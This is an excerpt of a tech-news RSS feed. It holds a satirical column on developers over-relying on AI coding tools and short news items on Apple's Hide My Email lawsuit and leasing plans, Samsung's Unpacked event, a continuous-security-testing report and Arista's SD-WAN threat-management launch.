<description><![CDATA[If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,”...]]></description>
<link>https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”</p>



<p class="wp-block-paragraph">But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLMs</a>. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make <a href="https://en.wikipedia.org/wiki/Fred_Brooks">Fred Brooks</a> blush.</p>



<p class="wp-block-paragraph">Let’s just be honest about what is actually happening.</p>



<h2 class="wp-block-heading">Esoteric knowledge is superfluous</h2>



<p class="wp-block-paragraph">Forget <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">OOP</a> and <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html">FP</a>. Forget the <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a>, the holy crusade of <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). </p>



<p class="wp-block-paragraph">Of course, I exaggerate. A little.</p>



<h2 class="wp-block-heading">The docs are dead to us</h2>



<p class="wp-block-paragraph">We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. <a href="https://www.infoworld.com/article/3993482/ai-didnt-kill-stack-overflow.html">Stack Overflow</a>, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.</p>



<p class="wp-block-paragraph">Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.</p>



<p class="wp-block-paragraph">We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.</p>



<h2 class="wp-block-heading">We ignore how the back end is wired</h2>



<p class="wp-block-paragraph">We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.</p>



<p class="wp-block-paragraph">It created security rules we don’t fully understand. They do seem to work, however, which is nice. </p>



<p class="wp-block-paragraph">It generated a schema that we skimmed for about four seconds. It looks reasonable.</p>



<p class="wp-block-paragraph">It wrote <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a> scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.</p>



<p class="wp-block-paragraph">We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.</p>



<p class="wp-block-paragraph">We understand that management is also using AI to manage the project.</p>



<h2 class="wp-block-heading">Our tests are uncomfortably incestuous</h2>



<p class="wp-block-paragraph">Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See <a href="https://grugbrain.dev/#grug-on-testing">The Grug Brained Developer</a> in this regard.)</p>



<p class="wp-block-paragraph">But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?</p>



<p class="wp-block-paragraph">We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked <em>the exact same AI</em> to write the test suite to validate the code it just dreamed up.</p>



<p class="wp-block-paragraph">It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.</p>



<p class="wp-block-paragraph">And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.</p>



<h2 class="wp-block-heading">We pass off the AI’s architecture as strategy</h2>



<p class="wp-block-paragraph">AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.</p>



<p class="wp-block-paragraph">When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.</p>



<p class="wp-block-paragraph">What we don’t mention is that we spent exactly four seconds generating it.</p>



<p class="wp-block-paragraph">Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.</p>



<h2 class="wp-block-heading">We’re addicted to vibe coding (but only in secret)</h2>



<p class="wp-block-paragraph">We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.</p>



<p class="wp-block-paragraph">But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working <a href="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny" data-type="link" data-id="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny">Ultima V</a> clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.</p>



<p class="wp-block-paragraph">The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. </p>



<h2 class="wp-block-heading">We beat the problem into submission with prompts</h2>



<p class="wp-block-paragraph">Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">This problem is not fixed. Look at it closely. The error is right here.</p>
</blockquote>



<p class="wp-block-paragraph">To the desperate: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">We have been working on this same problem for hours now!</p>
</blockquote>



<p class="wp-block-paragraph">To the pathetic: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Can’t you find a different approach to try?!</p>
</blockquote>



<p class="wp-block-paragraph">The astonishing part? It often works.</p>



<p class="wp-block-paragraph">But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">What we have here is a failure to communicate! </p>
</blockquote>



<p class="wp-block-paragraph">We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.</p>



<p class="wp-block-paragraph">In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.</p>



<h2 class="wp-block-heading">A blacker box</h2>



<p class="wp-block-paragraph">The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.</p>



<p class="wp-block-paragraph">And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. </p>



<p class="wp-block-paragraph">It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung Galaxy Unpacked July 2026: Live updates from the Z Fold 8 and Flip 8 launch event]]></title>
<description><![CDATA[Join us as we bring you live coverage from Samsung's Unpacked event in London, where it's expected to reveal new foldables and wearables.]]></description>
<link>https://tsecurity.de/de/3685667/it-nachrichten/samsung-galaxy-unpacked-july-2026-live-updates-from-the-z-fold-8-and-flip-8-launch-event/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685667/it-nachrichten/samsung-galaxy-unpacked-july-2026-live-updates-from-the-z-fold-8-and-flip-8-launch-event/</guid>
<pubDate>Wed, 22 Jul 2026 10:34:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Join us as we bring you live coverage from Samsung's Unpacked event in London, where it's expected to reveal new foldables and wearables.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Faces Lawsuit Over Hide My Email Privacy Vulnerability]]></title>
<description><![CDATA[Apple is facing a proposed class-action lawsuit after Anthony Alvarez alleged that the company’s Hide My Email feature failed to protect users’ real email addresses as advertised. The complaint, filed in the U.S. District Court for the Northern District of California, claims Apple promoted Hide M...]]></description>
<link>https://tsecurity.de/de/3685568/it-security-nachrichten/apple-faces-lawsuit-over-hide-my-email-privacy-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685568/it-security-nachrichten/apple-faces-lawsuit-over-hide-my-email-privacy-vulnerability/</guid>
<pubDate>Wed, 22 Jul 2026 09:59:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1216" height="758" src="https://thecyberexpress.com/wp-content/uploads/Hide-My-Email.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Hide My Email" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Hide-My-Email.webp 1216w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-300x187.webp 300w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-1024x638.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-768x479.webp 768w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-600x374.webp 600w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-150x94.webp 150w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-750x468.webp 750w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-1140x711.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email.webp 1216w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-300x187.webp 300w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-1024x638.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-768x479.webp 768w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-600x374.webp 600w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-150x94.webp 150w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-750x468.webp 750w, https://thecyberexpress.com/wp-content/uploads/Hide-My-Email-1140x711.webp 1140w" sizes="(max-width: 1216px) 100vw, 1216px" title="Apple Faces Lawsuit Over Hide My Email Privacy Vulnerability 1"></p><span data-contrast="auto">Apple is facing a proposed class-action lawsuit after Anthony Alvarez alleged that the company’s Hide My Email feature failed to protect users’ real email addresses as advertised. The complaint, filed in the U.S. District Court for the Northern District of California, claims Apple promoted Hide My Email as a privacy safeguard while continuing to charge customers for access through its iCloud+ subscription service.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The legal action follows a report from <a href="https://www.404media.co/apple-fixes-hide-my-email-vulnerability-after-404-media-coverage/" target="_blank" rel="nofollow noopener">404 Media</a> that revealed a reported vulnerability in Hide My Email. The report claimed the flaw could allow someone to identify a user’s actual email address from the private relay address generated by the feature. According to the report, Apple had been aware of the issue for more than a year before releasing a fix.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Hide My Email Vulnerability Becomes the Focus of Apple Lawsuit</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Apple confirmed that it deployed a patch on July 3, 2026, stating that the Hide My Email <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29072">vulnerability</a> had been fully resolved. However, the lawsuit alleges that Apple continued marketing the feature as secure while the reported weakness remained unresolved.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The complaint states that <a href="https://thecyberexpress.com/fortinet-silent-patch-raises-concern/" target="_blank" rel="noopener">security researchers</a> first informed Apple about the vulnerability in June 2025. Although Apple acknowledged the report, Anthony Alvarez’s lawsuit claims the company did not resolve the issue for nearly a year. The filing also alleges that Apple incorrectly stated in March 2026 that the problem had been fixed, even though researchers reported that the vulnerability remained exploitable.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">How Apple’s Hide My Email Feature Works</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Hide My Email was introduced with Sign in with Apple in 2019. The feature creates unique relay addresses for supported apps and websites, allowing messages to reach a user’s inbox without revealing the person’s actual email address.</span>

<span data-contrast="auto">Apple later expanded Hide My Email through the paid iCloud+ subscription, launched alongside iOS 15 and macOS Monterey in September 2021. The iCloud+ version allows subscribers to create unlimited private relay addresses for websites, newsletters and email communication.</span>

<span data-contrast="auto">The lawsuit argues that millions of <a href="https://thecyberexpress.com/apple-security-update-fixes-flaws/" target="_blank" rel="noopener">Apple</a> users relied on Hide My Email to reduce spam, limit online tracking, protect personal information from data brokers and avoid exposure during third-party data breaches. Researchers cited in the complaint said that once a real email address is revealed, it may be linked with publicly available people-search databases, potentially exposing identities and other personal information.</span>
<h3 aria-level="2"><b><span data-contrast="none">Anthony Alvarez Claims Apple Misled Customers Over Privacy</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The complaint argues that Apple built much of its brand identity around <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-privacy/" title="privacy" data-wpil-keyword-link="linked" data-wpil-monitor-id="29071">privacy</a>, referencing marketing statements such as “Privacy. That’s iPhone,” “What happens on your iPhone, stays on your iPhone,” and descriptions of privacy as a “fundamental human right” and “core value.”</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the <a href="https://storage.courtlistener.com/recap/gov.uscourts.cand.474371/gov.uscourts.cand.474371.1.0.pdf" target="_blank" rel="nofollow noopener">lawsuit</a>, Apple’s privacy messaging influenced consumer decisions and helped justify premium pricing for Apple hardware and services. The plaintiffs claim Hide My Email was promoted as a central part of those privacy commitments.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The filing alleges that Apple asked researchers not to publicly disclose details of the vulnerability instead of warning customers or temporarily disabling the feature. It claims users were never informed that their real email addresses could potentially be exposed while Apple continued presenting Hide My Email as a <a href="https://thecyberexpress.com/california-france-data-privacy-protections/" target="_blank" rel="noopener">privacy protection</a> tool.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Lawsuit Seeks Damages and Changes From Apple</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Anthony Alvarez is seeking reimbursement for iCloud+ subscription fees and other alleged financial losses. The lawsuit requests an injunction requiring Apple to either provide the privacy protection promised through Hide My Email or clearly disclose any limitations.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The complaint includes claims involving California’s Unfair Competition Law, False Advertising Law and Consumers Legal Remedies Act, along with allegations of <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="29070">fraud</a>, negligent misrepresentation, breach of contract, breach of implied warranty and unjust enrichment.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The lawsuit argues customers paid for Apple’s privacy protections in multiple ways, including iCloud+ subscription fees and premium prices associated with Apple devices marketed as offering stronger <a href="https://thecyberexpress.com/ring-camera-doorbells-privacy-security-cameras/" target="_blank" rel="noopener">privacy features</a>. Apple has stated that the July 3, 2026 patch resolved the Hide My Email issue.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Reportedly Launching New Apple Upgrade Leasing Program on July 28]]></title>
<description><![CDATA[Apple plans to launch a new device leasing service called Apple Upgrade in the United States on July 28, according to a new report. The program will let customers pay lower monthly amounts for selected iPhone, iPad, Mac, and Apple Watch models.



Apple will reportedly work with Klarna to manage ...]]></description>
<link>https://tsecurity.de/de/3685308/ios-mac-os/apple-reportedly-launching-new-apple-upgrade-leasing-program-on-july-28/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685308/ios-mac-os/apple-reportedly-launching-new-apple-upgrade-leasing-program-on-july-28/</guid>
<pubDate>Wed, 22 Jul 2026 07:20:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple plans to launch a new device leasing service called Apple Upgrade in the United States on July 28, according to a new report. The program will let customers pay lower monthly amounts for selected iPhone, iPad, Mac, and Apple Watch models.



Apple will reportedly work with Klarna to manage the Apple Upgrade program, while customers will need to complete a soft credit check before joining. The service will work like a hardware subscription, giving buyers more flexibility than a standard installment plan.



How Apple Upgrade Will Work



The reported lease period will run for 24 months on eligible iPhone and Apple Watch models, while Mac leases will continue for 36 months. Customers will have the option to pay off the device early, upgrade before the lease ends, keep the product after completing payments, or return it when the term finishes.



Some actions could include extra fees, depending on when the customer upgrades, pays off the device, or decides to keep it. AppleCare coverage will not come with the lease, so customers will need to purchase protection separately.



The program will also exclude several products, including the Apple Watch SE, base iPad, iPhone 16, and MacBook Neo. Apple will reportedly stop accepting new signups for the existing iPhone Upgrade Program after launching Apple Upgrade.



Apple raised prices for several iPad and Mac models last month, while upcoming iPhone models are also expected to cost more. The Apple Upgrade leasing program will give customers another way to spread hardware costs across longer payment periods.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Ending iPhone Upgrade Program Next Week]]></title>
<description><![CDATA[Apple reportedly plans to stop new enrollments for the iPhone Upgrade Program as it prepares to launch a new leasing service called Apple Upgrade next week.



The current iPhone Upgrade Program lets customers pay for an iPhone in monthly instalments and upgrade to a newer model after 12 months. ...]]></description>
<link>https://tsecurity.de/de/3685307/ios-mac-os/apple-ending-iphone-upgrade-program-next-week/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685307/ios-mac-os/apple-ending-iphone-upgrade-program-next-week/</guid>
<pubDate>Wed, 22 Jul 2026 07:20:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple reportedly plans to stop new enrollments for the iPhone Upgrade Program as it prepares to launch a new leasing service called Apple Upgrade next week.



The current iPhone Upgrade Program lets customers pay for an iPhone in monthly instalments and upgrade to a newer model after 12 months. Citizens One provides the financing with 0% APR, while AppleCare coverage comes included with the plan.



Apple also offers Apple iPhone Payments, which lets buyers finance an iPhone over 24 months through Citizens One. However, that option does not include a built-in annual upgrade benefit.



Bloomberg’s Mark Gurman reports that Apple will discontinue new enrollments for both existing payment programs when Apple Upgrade launches. This change reportedly covers the iPhone Upgrade Program and Apple’s standard iPhone financing option.



Apple Upgrade will reportedly launch on July 28 through a partnership with Klarna. The new service will use a leasing model, although it will not include AppleCare coverage as part of the monthly payment.



Apple has not explained how the change will affect customers who already use the iPhone Upgrade Program. Existing members may continue under their current agreements, but more details should become available when Apple officially launches the new service.]]></content:encoded>
</item>
<item>
<title><![CDATA[Security teams keep finding critical flaws after scheduled testing ends]]></title>
<description><![CDATA[Enterprise environments change between scheduled security assessments, leaving organizations with periods where new vulnerabilities can go undetected. Synack’s State of Continuous Security Validation report found that 95% of surveyed organizations identified high- or critical-severity vulnerabili...]]></description>
<link>https://tsecurity.de/de/3685297/it-security-nachrichten/security-teams-keep-finding-critical-flaws-after-scheduled-testing-ends/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685297/it-security-nachrichten/security-teams-keep-finding-critical-flaws-after-scheduled-testing-ends/</guid>
<pubDate>Wed, 22 Jul 2026 07:11:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise environments change between scheduled security assessments, leaving organizations with periods where new vulnerabilities can go undetected. Synack’s State of Continuous Security Validation report found that 95% of surveyed organizations identified high- or critical-severity vulnerabilities outside planned testing windows during the past year, with 42% encountering them at least once a month. How often high/critical vulns are found outside testing windows (past 12 mo.) (Source: Synack) False sense of coverage Eighty-three percent of security leaders … <a href="https://www.helpnetsecurity.com/2026/07/22/continuous-security-testing-gaps-report/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/continuous-security-testing-gaps-report/">Security teams keep finding critical flaws after scheduled testing ends</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.2: test: revamp integration test entrpoints (#16560)]]></title>
<description><![CDATA[This refactors the existing integration tests into 3 priumary groups: fast,
release, and library.  It also refines some of the release tests to drop some
of the older models and pick up newer models, while retaining the broad
coverage in the library group.]]></description>
<link>https://tsecurity.de/de/3685209/downloads/v0322-test-revamp-integration-test-entrpoints-16560/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685209/downloads/v0322-test-revamp-integration-test-entrpoints-16560/</guid>
<pubDate>Wed, 22 Jul 2026 06:02:14 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This refactors the existing integration tests into 3 priumary groups: fast,<br>
release, and library.  It also refines some of the release tests to drop some<br>
of the older models and pick up newer models, while retaining the broad<br>
coverage in the library group.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Arista debuts unified SD-WAN edge platform]]></title>
<description><![CDATA[Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.



The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platfor...]]></description>
<link>https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.</p>



<p class="wp-block-paragraph">The company announced AI-driven <a href="https://edge.arista.com/edge-threat-management/">Edge Threat Management</a> (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation. </p>



<p class="wp-block-paragraph">ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.</p>



<p class="wp-block-paragraph">“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote <a href="https://www.linkedin.com/in/brendangibbs1/">Brendan Gibbs</a>, Arista’s vice president, AI, routing, and switching platforms, in a <a href="https://blogs.arista.com/blog/the-unified-edge-for-a-secure-branch">blog post</a> about the new platform.</p>



<p class="wp-block-paragraph">Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. </p>



<p class="wp-block-paragraph">“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.</p>



<p class="wp-block-paragraph">ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">stated</a>.</p>



<p class="wp-block-paragraph">ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.</p>



<p class="wp-block-paragraph">VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.</p>



<p class="wp-block-paragraph">In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-NDR-Datasheet.pdf">Arista Network Detection and Response</a> and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">vendor stated</a>.</p>



<p class="wp-block-paragraph">Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.</p>



<p class="wp-block-paragraph">Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”</p>



<p class="wp-block-paragraph">ETM is a significant addition to the Arista VeloCloud portfolio. Arista <a href="https://www.networkworld.com/article/4016270/arista-buys-velocloud-to-reboot-sd-wans-amid-ai-infrastructure-shift.html">bought</a> the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s <a href="https://www.networkworld.com/article/4111354/arista-rides-ai-wave-but-battle-for-campus-networks-looms.html">stated plans to expand beyond its data center networking roots</a> and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.</p>



<p class="wp-block-paragraph">In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published <a href="https://www.delloro.com/news/sase-1q-2026-revenue-climbs-21-percent-to-over-3-b-driven-by-ai-governance/">report</a> from Dell’Oro Group.</p>



